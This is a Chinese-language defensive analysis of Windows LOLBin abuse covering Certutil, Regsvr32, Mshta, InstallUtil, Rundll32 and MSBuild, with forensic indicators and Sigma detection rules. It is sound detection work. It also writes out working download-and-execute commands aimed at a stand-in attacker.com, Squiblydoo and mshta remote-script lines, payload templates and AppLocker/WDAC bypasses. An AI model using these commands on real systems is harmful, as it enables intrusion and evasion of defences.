LOLBins武器化与取证检测深度分析 LOLBins武器化与取证检测深度分析 Living Off the Land Binaries(LOLBins)攻击是现代网络攻防中最具隐蔽性和持久性的技术之一。攻击者利用操作系统自带的合法二进制文件(如 Certutil、Regsvr32、Mshta、Rundll32 等)执行恶意操作,由于这些工具均由操作系统厂商签名、存在于标准系统路径中,传统的基于文件哈希和已知恶意文件名的检测方式几乎完全失效。
已有文章 PowerShell攻击链与日志取证分析 覆盖了 PowerShell 这一最常见 LOLBin 的攻击链与取证方法,可疑进程树与父子进程异常取证分析 覆盖了异常进程关系的识别方法。本文换一个角度:不讨论单一 LOLBin 的攻击链,而是系统性地覆盖 LOLBins 攻击的完整技术体系,逐一分析 Certutil、Regsvr32、Mshta、InstallUtil、Rundll32、MSBuild 等核心 LOLBin 的武器化利用方式、取证特征和检测方法,最终构建一套从事件日志到内存取证的多层次检测框架。
0x01 LOLBin 攻击技术概述 1. LOLBin 的定义和起源 LOLBin 的定义
LOLBin(Living Off the Land Binary)是指操作系统自带的、由操作系统厂商签名的合法二进制文件,可以被攻击者用于执行非预期的操作,包括但不限于:代码执行、文件下载、文件编码/解码、绕过应用控制策略、凭证访问等。
LOLBin 的核心特征:
合法签名 :所有 LOLBin 均由 Microsoft(或其他 OS 厂商)签名,受信任预装系统 :存在于所有 Windows 安装中,无需额外下载功能多样 :每个 LOLBin 至少具有一个可以被滥用的合法功能防御盲区 :基于白名单的企业环境中,这些工具默认被允许执行LOLBAS 项目
LOLBAS 项目(Living Off The Land Binaries And Scripts)由 security-without-borders 维护,是一个持续更新的 LOLBin/LOLScript 知识库。项目记录了每个可被滥用的系统工具的攻击用法、检测方法和相关 MITRE ATT&CK 技术编号。项目地址:https://lolbas-project.github.io/。
截至 2026 年,LOLBAS 项目已收录超过 100 个可被滥用的系统工具和脚本,涵盖 EXE、DLL、MSI、CPL 等多种文件类型。
MITRE ATT&CK 中的 LOLBin 相关技术
MITRE ATT&CK 框架在 T1218(System Binary Proxy Execution)技术系列下系统性地记录了 LOLBin 攻击:
技术编号 技术名称 对应 LOLBin T1218.001 Compile HTML File Infocat T1218.002 Control Panel Panel Control.exe T1218.003 Certutil Certutil.exe T1218.004 InstallUtil InstallUtil.exe T1218.005 Mshta Mshta.exe T1218.007 Msiexec Msiexec.exe T1218.008 Mavinject Mavinject.exe T1218.009 Regsvcs/Regasm Regsvcs.exe T1218.010 Regsvr32 Regsvr32.exe T1218.011 Rundll32 Rundll32.exe T1218.012 Verclsid Verclsid.exe
此外,T1059(Command and Scripting Interpreter)、T1047(Windows Management Instrumentation)、T1204(User Execution)等技术也与 LOLBin 攻击密切相关。
2. LOLBin 攻击的分类 根据攻击者滥用 LOLBin 的方式,可以将 LOLBin 攻击分为五大类:
代理执行(Proxy Execution)
攻击者利用系统工具作为代理,加载并执行恶意 DLL 或脚本。这是 LOLBin 攻击最常见的形式,典型代表包括:
Regsvr32 加载 SCT 脚本执行(Squiblydoo) Rundll32 调用 DLL 导出函数 Mshta 执行 HTA 文件 Msiexec 安装恶意 MSI 包 脚本执行(Script Execution)
攻击者利用系统内置的脚本引擎执行恶意脚本,绕过脚本执行策略:
WScript/CScript 执行 VBScript/JScript Mshta 执行 VBScript/JScript(内嵌于 HTA) MSBuild 执行内联 C# 代码 PowerShell 执行任意脚本 文件下载(File Download)
攻击者利用系统工具从远程服务器下载恶意载荷:
Certutil 下载文件(-urlcache 参数) Bitsadmin 下载文件(/transfer 参数) Desktopimgdownldr 下载文件 Mshta 下载远程 HTA 编译执行(Compilation/Execution)
攻击者利用系统工具在目标机器上动态编译并执行代码:
MSBuild 编译内联 C#/VB.NET 代码 InstallUtil 编译并安装 .NET 程序集 Regsvcs/Regasm 注册并执行 .NET 程序集 Csc.exe(C# 编译器)编译代码 凭证访问与信息收集
部分 LOLBin 具有凭证访问能力:
Cmdkey 缓存远程凭据 Keyctl 操作密钥环 Esentutl 读取锁定文件 3. LOLBin 攻击在 APT 中的使用频率 LOLBins 攻击已成为 APT 组织和高级威胁行为者的标配技术:
Red Canary 2025 年威胁检测报告数据
约 35% 的恶意检测涉及 LOLBins 或 Living Off the Land 脚本 Rundll32 滥用排名所有检测技术中的第六位 Regsvr32 和 Mshta 在企业环境中检测频率持续上升 20.4% 的客户受到了 PowerShell 滥用的影响 APT 组织使用情况
APT29(Cozy Bear) :大量使用 Mshta + Certutil 组合进行初始载荷投递APT38(Lazarus Sub-group) :使用 Regsvr32 Squiblydoo 执行远程 SCT 脚本APT41(Double Dragon) :使用 Mshta 执行 VBScript 进行初始感染FIN7 :使用 Rundll32 + JavaScript 组合绕过应用控制Sandworm :使用 Certutil 下载部署破坏性工具0x02 证书服务工具武器化 — Certutil(T1105、T1218.003) 1. Certutil 功能概述 Certutil.exe 是 Windows 系统内置的证书服务管理工具,位于 %SystemRoot%\System32\certutil.exe。其合法功能包括:
管理 CA(Certificate Authority)证书 验证证书链 下载 CRL(Certificate Revocation List) 编码/解码文件 Certutil 在 LOLBas 项目中的分类为 Defense Evasion 、Discovery 、Execution 和 Exfiltration ,是功能最全面的 LOLBin 之一。
2. 下载载荷(certutil -urlcache -split -f) Certutil 的 URL 缓存功能可以用来从 HTTP/HTTPS/FTP 服务器下载文件:
certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe 参数解析:
-urlcache:启用 URL 缓存操作-split:启用 URL 缓存分段存储-f:强制覆盖已存在的文件变体一:下载后直接执行
certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe && C:\Temp\payload.exe 变体二:Base64 解码执行
certutil -urlcache -split -f http://attacker.com/encoded.txt C:\Temp\encoded.txt
certutil -decode C:\Temp\encoded.txt C:\Temp\payload.exe
C:\Temp\payload.exe 变体三:异步下载
certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe start 关键认知:Certutil 下载的文件在磁盘上有明确的缓存痕迹。URL 缓存内容存储在 %SystemRoot%\System32\catroot2 目录下,取证时应检查此目录中的临时文件。
3. 编码载荷(certutil -encode/decode) Certutil 提供文件的 Base64 编码和解码功能:
certutil -encode C:\Temp\payload.exe C:\Temp\payload.txt
certutil -decode C:\Temp\payload.txt C:\Temp\payload.exe 攻击者常使用此功能将恶意二进制文件编码为 Base64 文本,通过电子邮件、即时消息等文本通道传输,再在目标机器上解码还原。
4. 实际攻击场景 场景一:初始访问 — 鱼叉式钓鱼
1. 攻击者发送钓鱼邮件,附件为 .lnk 快捷方式
2. .lnk 快捷方式执行:certutil -urlcache -split -f http://attacker.com/update.exe %TEMP%\update.exe
3. Certutil 从远程服务器下载恶意载荷
4. 快捷方式执行下载的载荷场景二:横向移动 — 域内文件分发
1. 攻击者已控制域内一台主机
2. 使用 Certutil 从已控制的主机下载横向移动工具
3. certutil -urlcache -split -f \\compromised-host\share\tool.exe C:\Temp\tool.exe
4. 执行横向移动工具场景三:载荷免杀 — 编码+解码
1. 攻击者将恶意 EXE 编码为 Base64
2. 将 Base64 文本存储在共享目录或 Web 服务器上
3. 目标机器使用 certutil -decode 解码还原
4. 绕过基于文件类型的传输检测5. 取证特征(Event ID 4688、命令行日志、Prefetch) Event ID 4688 — 进程创建
<Event>
<System>
<Provider Name= "Microsoft-Windows-Security-Auditing" Guid= "{54849625-5478-4994-A5BA-3E3B0328C30D}" />
<EventID> 4688</EventID>
<Channel> Security</Channel>
</System>
<EventData>
<Data Name= "SubjectUserSid" > S-1-5-21-xxx-1001</Data>
<Data Name= "SubjectUserName" > analyst</Data>
<Data Name= "SubjectDomainName" > CORP</Data>
<Data Name= "SubjectLogonId" > 0x12345</Data>
<Data Name= "NewProcessId" > 0x1a2b</Data>
<Data Name= "NewProcessName" > C:\Windows\System32\certutil.exe</Data>
<Data Name= "TokenElevationType" > %%1937</Data>
<Data Name= "ProcessId" > 0x5c6d</Data>
<Data Name= "ParentProcessName" > C:\Windows\System32\cmd.exe</Data>
<Data Name= "CommandLine" > certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe</Data>
<Data Name= "TargetUserSid" > S-1-0-0</Data>
<Data Name= "TargetUserName" > -</Data>
<Data Name= "TargetDomainName" > -</Data>
<Data Name= "TargetLogonId" > 0x0</Data>
<Data Name= "ParentProcessCreationTime" > 2026-06-20T08:30:15.1234567Z</Data>
<Data Name= "MandatoryLabel" > S-1-16-8192</Data>
</EventData>
</Event> Prefetch 文件
Certutil 的 Prefetch 文件路径:C:\Windows\Prefetch\CERTUTIL.EXE-{HASH}.pf
Prefetch 文件中记录了:
执行次数和最后执行时间 引用的文件列表(包括下载的目标文件) 目录引用列表 文件系统痕迹
%SystemRoot%\System32\catroot2\ 目录下的缓存文件%TEMP% 目录下的下载文件注册表中 HKLM\SOFTWARE\Microsoft\SystemCertificates 下的证书缓存 网络连接痕迹
Certutil 发起的 HTTP/HTTPS/FTP 连接 连接目标 IP 地址和端口 User-Agent 头信息 6. 检测规则 title : Certutil Download File - URLCache
id : a1b2c3d4-1001-0001-abcd-ef1234567801
status : experimental
description : 检测 Certutil 使用 urlcache 参数下载文件的可疑行为
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1105/
- https://attack.mitre.org/techniques/T1218/003/
logsource :
category : process_creation
product : windows
detection :
selection_cmd :
Image|endswith : '\certutil.exe'
CommandLine|contains|all :
- '-urlcache'
- '-split'
- '-f'
selection_decode :
Image|endswith : '\certutil.exe'
CommandLine|contains :
- '-decode'
- '-encode'
selection_admin :
Image|endswith : '\certutil.exe'
CommandLine|contains :
- '-ping'
- '-CRL'
- '-verify'
condition : selection_cmd or selection_decode and not selection_admin
level : medium
tags :
- attack.defense_evasion
- attack.execution
- attack.t1105
- attack.t1218.003 title : Certutil Download from Non-Standard Path
id : a1b2c3d4-1001-0002-abcd-ef1234567802
status : experimental
description : 检测从非标准路径执行的 Certutil 进程
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/003/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\certutil.exe'
filter_legitimate :
Image|startswith :
- 'C:\Windows\System32\'
- ' C:\Windows\SysWOW64\'
condition : selection and not filter_legitimate
level : high
tags :
- attack.defense_evasion
- attack.t1218.003 1. Regsvr32 功能和 /i /n /s 参数 Regsvr32.exe 是 Windows 系统内置的 COM 对象注册工具,位于 %SystemRoot%\System32\regsvr32.exe。其合法功能包括:
注册和注销 COM DLL 和 ActiveX 控件 调用 DLL 中的 DllRegisterServer 和 DllUnregisterServer 导出函数 关键参数:
/s:静默模式,不显示注册成功/失败对话框/n:不调用 DllRegisterServer,配合 /i 使用/i:传递可选参数给 DllInstall 函数2. SCT 脚本注册执行(squiblydoo) 2016 年 Casey Smith 发现的 Squiblydoo 攻击利用 Regsvr32 加载并执行远程 SCT 脚本:
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll 参数解析:
/s:静默执行/n:不调用 DllRegisterServer/u:使用 DllUnregisterServer/i:http://...:指定 SCT 脚本的 URL 作为参数传递给 DllInstallscrobj.dll:COM 脚本解释器 DLLSCT 脚本示例:
<?XML version="1.0"?>
<scriptlet>
<registration
progid= "PoC"
classid= "{AAAA-BBBB}"
version= "1.00"
remotable= "true"
>
<script language= "JScript" >
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe /c whoami > C:\Temp\output.txt");
]]>
</script>
</registration>
</scriptlet> 攻击流程:
攻击者在远程服务器托管恶意 SCT 脚本 目标机器执行 regsvr32 /s /n /u /i:http://... scrobj.dll scrobj.dll 解析 SCT 脚本中的注册组件scriptlet 中的 registration 部分被自动执行恶意代码在 Regsvr32 进程上下文中运行 3. DLL 加载执行 Regsvr32 也可以直接加载本地 DLL:
regsvr32 /s malicious.dll 这种方式调用 DLL 的 DllRegisterServer 导出函数。如果恶意 DLL 导出了此函数,恶意代码将在 Regsvr32 进程上下文中执行。
变体:导出函数调用
regsvr32 /s /i:"payload" malicious.dll /i 参数将 “payload” 传递给 DllInstall 导出函数。
Event ID 4688 — 进程创建
<Event>
<System>
<Provider Name= "Microsoft-Windows-Security-Auditing" />
<EventID> 4688</EventID>
<Channel> Security</Channel>
</System>
<EventData>
<Data Name= "SubjectUserName" > analyst</Data>
<Data Name= "NewProcessName" > C:\Windows\System32\regsvr32.exe</Data>
<Data Name= "ParentProcessName" > C:\Windows\System32\cmd.exe</Data>
<Data Name= "CommandLine" > regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll</Data>
<Data Name= "TokenElevationType" > %%1937</Data>
</EventData>
</Event> 关键取证指标:
4688 事件中 regsvr32.exe 的命令行包含 /i:http 或 /i:https 远程 URL 4688 事件中 regsvr32.exe 的命令行包含 /s(静默模式) 4688 事件中 regsvr32.exe 的父进程不是 explorer.exe、services.exe 或 svchost.exe Sysmon Event ID 1 中 Regsvr32 加载了 scrobj.dll 网络连接痕迹
Regsvr32.exe 发起的 HTTP/HTTPS 请求到远程 SCT 脚本 下载的 SCT 脚本内容 文件系统痕迹
%TEMP% 目录下可能出现临时 SCT 文件部分 SCT 脚本可能将载荷写入 %TEMP% 或 %APPDATA% 5. 检测规则 title : Regsvr32 Squiblydoo SCT Script Execution
id : a1b2c3d4-1002-0001-abcd-ef1234567803
status : stable
description : 检测 Regsvr32 通过 /i 参数加载远程 SCT 脚本(Squiblydoo)
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/010/
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
logsource :
category : process_creation
product : windows
detection :
selection_sct :
Image|endswith : '\regsvr32.exe'
CommandLine|contains : '/i:'
CommandLine|contains :
- 'scrobj.dll'
selection_scriptlet :
Image|endswith : '\regsvr32.exe'
CommandLine|contains|all :
- '/s'
- '/n'
- '/u'
- '/i:'
condition : selection_sct or selection_scriptlet
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.010 title : Regsvr32 Suspicious DLL Load
id : a1b2c3d4-1002-0002-abcd-ef1234567804
status : experimental
description : 检测 Regsvr32 加载非标准路径 DLL 的可疑行为
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/010/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\regsvr32.exe'
CommandLine|contains : '/i:'
filter_system :
CommandLine|contains :
- 'C:\Windows\System32\'
- ' C:\Windows\SysWOW64\'
condition : selection and not filter_system
level : medium
tags :
- attack.defense_evasion
- attack.t1218.010 0x04 微软 HTML 应用程序 — Mshta(T1218.005) 1. Mshta 功能概述 Mshta.exe 是 Windows 系统内置的 HTML 应用程序(HTA)宿主,位于 %SystemRoot%\System32\mshta.exe。其合法功能包括:
执行 .hta 文件(HTML 应用程序) 内嵌执行 VBScript 和 JScript 代码 加载 HTML 内容并执行脚本 Mshta 是最危险的 LOLBin 之一,因为它能够直接在宿主进程中执行任意 VBScript/JScript 代码,无需写入磁盘文件。
2. 执行 VBScript/JScript Mshta 可以通过 VBScript: 协议或 JavaScript: 协议直接执行代码:
mshta vbscript:Execute("MsgBox ""Hello from Mshta"":Set oShell=CreateObject(""WScript.Shell""):oShell.Run ""cmd.exe /c whoami > C:\Temp\output.txt"",0,True:Close" ) 变体一:内嵌 JScript
mshta javascript:a=new ActiveXObject("WScript.Shell" );a.Run("cmd.exe /c calc.exe" ,0);close 变体二:多行执行
mshta "about:<script>var s=new ActiveXObject('WScript.Shell');s.Run('powershell -ep bypass -enc JABjAGwAaQBlAG4AdAA=');close</script>" 3. 执行远程 HTA 文件 mshta http://attacker.com/payload.hta 恶意 HTA 文件示例:
<html >
<head >
<script language = "VBScript" >
Set oShell = CreateObject ("WScript.Shell" )
oShell .Run "cmd.exe /c powershell -ep bypass -enc JABjAGwA..." , 0 , True
Self .Close
</script >
</head >
<body >
<script language = "VBScript" >
Self .Close
</script >
</body >
</html > 4. 绕过 AppLocker/WDAC Mshta 是绕过应用控制策略的经典工具。由于 Mshta.exe 由 Microsoft 签名,默认位于 C:\Windows\System32\ 目录,在大多数 AppLocker 和 WDAC 策略中被允许执行。攻击者利用这一点执行绕过脚本:
mshta http://attacker.com/bypass.hta 即使系统禁止了 PowerShell、CMD、WScript 等脚本执行器,只要 Mshta 未被显式阻止,攻击者仍然可以通过它执行任意代码。
5. 取证特征(Event ID 4688、网络连接) Event ID 4688 — 进程创建
<Event>
<System>
<Provider Name= "Microsoft-Windows-Security-Auditing" />
<EventID> 4688</EventID>
<Channel> Security</Channel>
</System>
<EventData>
<Data Name= "SubjectUserName" > analyst</Data>
<Data Name= "NewProcessName" > C:\Windows\System32\mshta.exe</Data>
<Data Name= "ParentProcessName" > C:\Windows\System32\cmd.exe</Data>
<Data Name= "CommandLine" > mshta http://attacker.com/payload.hta</Data>
</EventData>
</Event> 关键取证指标:
4688 事件中 mshta.exe 的命令行包含远程 URL(http://、https://) 4688 事件中 mshta.exe 的命令行包含 vbscript:、javascript:、about: 等协议 4688 事件中 mshta.exe 创建了异常子进程(如 cmd.exe、powershell.exe、wscript.exe) Mshta.exe 的父进程不是 explorer.exe(用户直接双击 HTA 文件时)或 svchost.exe Sysmon Event ID 3 中 Mshta.exe 发起了 HTTP/HTTPS 连接 网络连接痕迹
Mshta.exe 进程的网络连接到远程 HTA 文件服务器 HTTP 请求中的 User-Agent 信息 下载的 HTA 文件内容 6. 检测规则 title : Mshta Remote HTA Execution
id : a1b2c3d4-1003-0001-abcd-ef1234567805
status : stable
description : 检测 Mshta 从远程服务器加载并执行 HTA 文件
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/005/
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/
logsource :
category : process_creation
product : windows
detection :
selection_remote :
Image|endswith : '\mshta.exe'
CommandLine|contains :
- 'http://'
- 'https://'
selection_script :
Image|endswith : '\mshta.exe'
CommandLine|contains :
- 'vbscript:'
- 'javascript:'
- 'about:<'
- 'about:"'
selection_spawn :
Image|endswith : '\mshta.exe'
ParentImage|endswith :
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
condition : selection_remote or selection_script or selection_spawn
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.005 title : Mshta Spawns Suspicious Child Process
id : a1b2c3d4-1003-0002-abcd-ef1234567806
status : experimental
description : 检测 Mshta 创建可疑子进程(cmd.exe、powershell.exe 等)
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/005/
logsource :
category : process_creation
product : windows
detection :
selection_parent :
ParentImage|endswith : '\mshta.exe'
selection_child :
Image|endswith :
- '\cmd.exe'
- '\powershell.exe'
- '\powershell_ise.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\regsvr32.exe'
- '\rundll32.exe'
condition : selection_parent and selection_child
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.005 0x05 .NET 安装工具 — InstallUtil(T1218.004) 1. InstallUtil 功能概述 InstallUtil.exe 是 .NET Framework 的安装工具,位于 %SystemRoot%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe(或对应的 .NET 版本目录)。其合法功能包括:
安装和卸载 .NET 服务应用程序 调用程序集中的 Installer 类的 Install 和 Uninstall 方法 执行预编译的 .NET 安装程序 InstallUtil 在 LOLBins 攻击中的价值在于:它能够加载并执行任意 .NET 程序集,且执行过程发生在 InstallUtil 进程的上下文中,不直接显示为恶意进程。
2. 执行恶意 DLL/EXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\malicious.dll 参数解析:
/logfile=:禁用日志文件(减少取证痕迹)/LogToConsole=false:不向控制台输出日志/U:执行 Uninstall 方法(实际用于触发恶意代码)C:\Temp\malicious.dll:恶意 .NET 程序集路径恶意 DLL 示例代码结构:
using System;
using System.Configuration.Install;
[RunInstaller(true)]
public class Payload : Installer {
public override void Uninstall(System.Collections.IDictionary savedState) {
System.Diagnostics.Process.Start("cmd.exe" , "/c whoami > C:\\Temp\\output.txt" );
}
} 3. 绕过 WDAC InstallUtil 是绕过 Windows Defender Application Control(WDAC)的经典工具。由于 InstallUtil.exe 是 .NET Framework 的标准组件,在许多 WDAC 策略中被允许执行。攻击者利用它加载未签名的 .NET 程序集:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\unsigned_payload.dll 4. 取证特征(Event ID 4688、.NET 加载) Event ID 4688 — 进程创建
<Event>
<System>
<Provider Name= "Microsoft-Windows-Security-Auditing" />
<EventID> 4688</EventID>
<Channel> Security</Channel>
</System>
<EventData>
<Data Name= "SubjectUserName" > analyst</Data>
<Data Name= "NewProcessName" > C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe</Data>
<Data Name= "ParentProcessName" > C:\Windows\System32\cmd.exe</Data>
<Data Name= "CommandLine" > C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\malicious.dll</Data>
</EventData>
</Event> 关键取证指标:
4688 事件中 InstallUtil.exe 的命令行包含 /U(卸载模式) 4688 事件中 InstallUtil.exe 的命令行包含 /logfile=(禁用日志) 4688 事件中 InstallUtil.exe 的父进程不是 VS IDE 或 MSBuild InstallUtil.exe 的子进程为 cmd.exe、powershell.exe 等非 .NET 安装相关进程 Sysmon Event ID 7 中 InstallUtil.exe 加载了来自非标准路径的 .NET 程序集 CLR(Common Language Runtime)加载日志中出现异常的程序集 5. 检测规则 title : InstallUtil Suspicious Execution
id : a1b2c3d4-1004-0001-abcd-ef1234567807
status : stable
description : 检测 InstallUtil 被用于执行可疑的 .NET 程序集
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/004/
- https://lolbas-project.github.io/lolbas/Binaries/InstallUtil/
logsource :
category : process_creation
product : windows
detection :
selection :
Image|endswith : '\InstallUtil.exe'
CommandLine|contains : '/U'
filter_legitimate :
CommandLine|contains :
- 'C:\Program Files'
- 'C:\Program Files (x86)'
- 'Microsoft\VisualStudio'
- 'packages\'
condition : selection and not filter_legitimate
level : medium
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.004 title : InstallUtil Spawns Suspicious Process
id : a1b2c3d4-1004-0002-abcd-ef1234567808
status : experimental
description : 检测 InstallUtil 创建可疑子进程
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/004/
logsource :
category : process_creation
product : windows
detection :
selection_parent :
ParentImage|endswith : '\InstallUtil.exe'
selection_child :
Image|endswith :
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\regsvr32.exe'
condition : selection_parent and selection_child
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.004 0x06 动态链接库加载工具 — Rundll32(T1218.011) 1. Rundll32 功能概述 Rundll32.exe 是 Windows 系统内置的 DLL 加载工具,位于 %SystemRoot%\System32\rundll32.exe。其合法功能包括:
加载 DLL 并调用其导出函数 执行 Control Panel 工具(.cpl 文件) 调用 COM 对象 Rundll32 是被滥用最频繁的 LOLBin 之一,Red Canary 2025 年威胁检测报告将其列为第六大最常见检测技术。
2. 导出函数调用 rundll32.exe C:\Temp\malicious.dll,EntryPoint 参数解析:
第一个参数:DLL 的完整路径 第二个参数:DLL 中要调用的导出函数名 变体一:使用序号调用
rundll32.exe C:\Temp\malicious.dll,#1 变体二:使用 UNC 路径加载远程 DLL
rundll32.exe \\attacker-host\share\malicious.dll,EntryPoint 变体三:使用管道加载
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" ;o=new%20ActiveXObject("WScript.Shell" );o.Run("cmd.exe /c whoami" ,0,true); 这种技术利用 Rundll32 的 JavaScript 协议处理能力,通过 mshtml.dll 引擎执行 JavaScript 代码。
变体:使用 JScript 执行
rundll32.exe javascript:"mshtml" ;var r=new%20ActiveXObject("WScript.Shell" );r.Run("powershell -ep bypass -enc JABjAGwA..." ,0); 4. Control Panel 工具执行 rundll32.exe shell32.dll,Control_RunDLL timedate.cpl
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl Rundll32 通过 shell32.dll,Control_RunDLL 调用 Control Panel 工具。攻击者可以利用此功能绕过应用控制策略,启动系统配置工具。
5. 取证特征(Event ID 4688、DLL 加载) Event ID 4688 — 进程创建
<Event>
<System>
<Provider Name= "Microsoft-Windows-Security-Auditing" />
<EventID> 4688</EventID>
<Channel> Security</Channel>
</System>
<EventData>
<Data Name= "SubjectUserName" > analyst</Data>
<Data Name= "NewProcessName" > C:\Windows\System32\rundll32.exe</Data>
<Data Name= "ParentProcessName" > C:\Windows\System32\cmd.exe</Data>
<Data Name= "CommandLine" > rundll32.exe C:\Temp\malicious.dll,EntryPoint</Data>
</EventData>
</Event> 关键取证指标:
4688 事件中 rundll32.exe 的命令行加载了来自非标准路径的 DLL 4688 事件中 rundll32.exe 的命令行包含 javascript: 协议 4688 事件中 rundll32.exe 的父进程不是 explorer.exe 或 svchost.exe 4688 事件中 rundll32.exe 创建了 cmd.exe、powershell.exe 等子进程 Sysmon Event ID 7 中 Rundll32 加载了异常的 DLL 文件 Sysmon Event ID 1 中 CommandLine 包含 UNC 路径 6. 检测规则 title : Rundll32 Suspicious DLL Execution
id : a1b2c3d4-1005-0001-abcd-ef1234567809
status : stable
description : 检测 Rundll32 加载来自非标准路径的 DLL
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/011/
- https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
logsource :
category : process_creation
product : windows
detection :
selection_dll :
Image|endswith : '\rundll32.exe'
CommandLine|endswith :
- '.dll,EntryPoint'
- '.dll,#1'
- '.dll,#2'
selection_js :
Image|endswith : '\rundll32.exe'
CommandLine|contains :
- 'javascript:'
- 'mshtml'
selection_unc :
Image|endswith : '\rundll32.exe'
CommandLine|contains : '\\\\'
selection_nonstandard :
Image|endswith : '\rundll32.exe'
CommandLine|contains :
- '\Temp\'
- ' \AppData\'
- '\Downloads\'
- ' \Public\'
condition : selection_dll or selection_js or selection_unc or selection_nonstandard
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.011 title : Rundll32 Spawns Suspicious Child Process
id : a1b2c3d4-1005-0002-abcd-ef1234567810
status : experimental
description : 检测 Rundll32 创建可疑子进程
author : Security Team
date : 2026 /06/25
references :
- https://attack.mitre.org/techniques/T1218/011/
logsource :
category : process_creation
product : windows
detection :
selection_parent :
ParentImage|endswith : '\rundll32.exe'
selection_child :
Image|endswith :
- '\cmd.exe'
- '\powershell.exe'
- '\powershell_ise.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\regsvr32.exe'
- '\certutil.exe'
condition : selection_parent and selection_child
level : high
tags :
- attack.defense_evasion
- attack.execution
- attack.t1218.011 0x07 MSBuild 项目构建工具 — MSBuild(T1218.004) 1. MSBuild 功能概述 MSBuild.exe 是 .NET Framework 的项目构建工具,位于 %SystemRoot%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe。其合法功能包括:
编译 .NET 项目 执行 .csproj 项目文件中的构建任务 运行预定义的构建目标 MSBuild 在 LOLBins 攻击中的价值在于:它能够通过内联任务(Inline Task)机制执行任意 C#/VB.NET 代码,无需编译为独立的 DLL/EXE。
2. 内联任务(Inline Task)执行 攻击者在 .csproj 文件中定义 UsingTask 内联任务,MSBuild 在构建过程中自动执行:
<Project ToolsVersion= "4.0" xmlns= "http://schemas.microsoft.com/developer/msbuild/2003" >
<UsingTask TaskName= "Payload" TaskFactory= "CodeTaskFactory" AssemblyFile= "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include= "System.Xml" />
<Reference Include= "System.Xml.Linq" />
<Code Type= "Fragment" Language= "cs" >
<![CDATA[
System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Temp\\output.txt");
]]>
</Code>
</Task>
</UsingTask>
<Target Name= "Build" >
<Payload/>
</Target>
</Project> 3. 隐写载荷嵌入 .csproj 攻击者将恶意代码嵌入正常的 .csproj 项目文件中,利用 MSBuild 的构建过程执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\project.csproj 变体一:Base64 编码载荷
<Code Type= "Fragment" Language= "cs" >
<![CDATA[
string encoded = "JABjAGwAaQBlAG4AdAA9..." ;
byte[] data = Convert.FromBase64String(encoded);
System.Reflection.Assembly.Load(data).GetType("Payload").GetMethod("Execute").Invoke(null, null);
]]>
</Code> 变体二:远程下载执行
<Code Type= "Fragment" Language= "cs" >
<![CDATA[
var client = new System.Net.WebClient();
byte[] data = client.DownloadData("http://attacker.com/payload.exe");
System.IO.File.WriteAllBytes("C:\\Temp\\payload.exe", data);
System.Diagnostics.Process.Start("C:\\Temp\\payload.exe");
]]>
</Code> 4. 取证特征(Event ID 4688、.NET 运行时) Event ID 4688 — 进程创建
<Event>
<System>
<Provider Name= "Microsoft-Windows-Security-Auditing" />
<EventID> 4688</EventID>
<Channel> Security</Channel>
</System>
<EventData>
<Data Name= "SubjectUserName" > analyst</Data>
<Data Name= "NewProcessName" > C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe</Data>
<Data Name= "ParentProcessName" > C:\Windows\System32\cmd.exe</Data>
<Data Name= "CommandLine" > C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Temp\project.csproj</Data>
</EventData>
</Event> 关键取证指标:
